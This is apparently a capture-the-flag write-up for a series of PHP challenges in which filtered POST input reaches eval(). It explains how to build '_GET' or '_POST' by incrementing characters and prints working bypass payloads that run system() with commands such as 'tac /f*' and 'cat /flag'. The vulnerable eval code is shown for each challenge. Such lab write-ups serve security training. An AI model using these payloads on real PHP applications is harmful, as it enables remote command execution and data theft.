
Direct use echo with backticks. First ls, then tac to read the flag.

Challenge 2

The filter is quite restrictive. One effective method is the character increment bypass. A small script can enumerate which characters are allowed:
for ($c = 32; $c < 127; $c++) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", chr($c))) {
echo chr($c) . " ";
}
}
The only usable characters are: ! $ ' ( ) + , . / ; = [ ] _. By constructing an array string and leveraging increment operations, it's possible to build $_GET and pass arbitrary commands.
$a = []._;
$b = $a[!$a]; // 'A'
$b++; $b++; $b++; // 'D'
$c = ++$b; // 'E'
++$b; // 'F'
$c = ++$b . $c; // 'G' . 'E' = 'GE'
++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; ++$b; // push to needed char
$c = $c . ++$b; // append 'T' to get "GET"
$get = '_' . $c;
$$get[_]($$get[__]);


Challenge 3
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
Same increment technique, but with a tighter length limit. Construct _POST using NAN_ and incrementing.
$a = (0/0)._; // 'NAN_'
$p = $a[0]; // 'N'
$q = ++$p; // 'O'
$p++; // 'P'
$q = $p . $q; // 'PO'
$p++; $p++; $p++; // 'S'
$q = $q . $p++; // 'POS' and $p becomes 'T'
$post = '_' . $q . $p; // '_POST'
$$post[0]($$post[1]);
Send the payload with additional POST parameters:
$_=(0/0)._;$_=$_[0];$__=++$_;$_++;$__=$_.$__;$_++;$_++;$_++;$__=$__.$_++;$__=_.$__.$_;$$__[0]($$__[1]);&0=system&1=tac /f*

Use tac /f* to read the flag.
Challenge 4
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
Even stricter: max length 84, only digit 0 is allowed from numbers. Build _POST in fewer steps.
$a = (0/_._)[0]; // 'N'
$b = ++$a; // 'O'
$c = '_' . ++$b . $a++; // '_PO' (a becomes 'P')
$a++; $a++; // a becomes 'R'
$post = $c . ++$a . ++$a; // '_POST'
$$post[0]($$post[_]);
Execute with parameters: &0=system&_=cat /flag (or &_=ls / first).
Challenge 5
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
Length reduced to 73, and the digit 0 is also forbidden. Crafting a workable payload under these restrictions requires additional tricks; the official write-up provides a detailed solutoin (ref: CTFshow docs).